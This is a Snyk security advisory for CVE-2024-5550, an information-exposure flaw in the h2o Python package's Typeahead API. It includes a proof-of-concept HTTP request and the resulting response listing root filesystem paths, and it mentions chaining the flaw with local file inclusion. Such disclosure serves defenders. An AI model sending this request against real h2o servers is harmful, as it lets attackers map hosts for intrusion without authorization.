Information Exposure Affecting h2o package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-H2O-7218258
- published7 Jun 2024
- disclosed6 Jun 2024
- creditDan McInerney
Introduced: 6 Jun 2024
CVE-2024-5550 (opens in a new tab)How to fix?
There is no fixed version for h2o.
Overview
Affected versions of this package are vulnerable to Information Exposure through the Typeahead API call. An attacker can view full paths in the entire file system where the application is hosted by requesting a typeahead lookup of '/'. When combined with a Local File Inclusion (LFI) vulnerability, this vulnerability could lead to the exploitation of the server.
PoC
Request with a typeahead lookup of "/":
GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1
Host: 127.0.0.1:54321
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:54321/flow/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Response showing the root filesystem:
HTTP/1.1 200 OK Connection: close Date: Fri, 09 Jun 2023 20:48:41 GMT Cache-Control: no-cache X-h2o-build-project-version: 3.40.0.4 X-h2o-rest-api-version-max: 3 X-h2o-cluster-id: 1686343658108 X-h2o-cluster-good: true X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self' 'unsafe-eval' 'unsafe-inline'; img-src 'self' data: Content-Type: application/json Content-Length: 219
{"__meta":{"schema_version":3,"schema_name":"TypeaheadV3","schema_type":"Iced"},"_exclude_fields":"","src":"/","limit":10,"matches":["/home","/usr","/bin","/sbin","/etc","/var","/Library","/System","/private","/Users"]}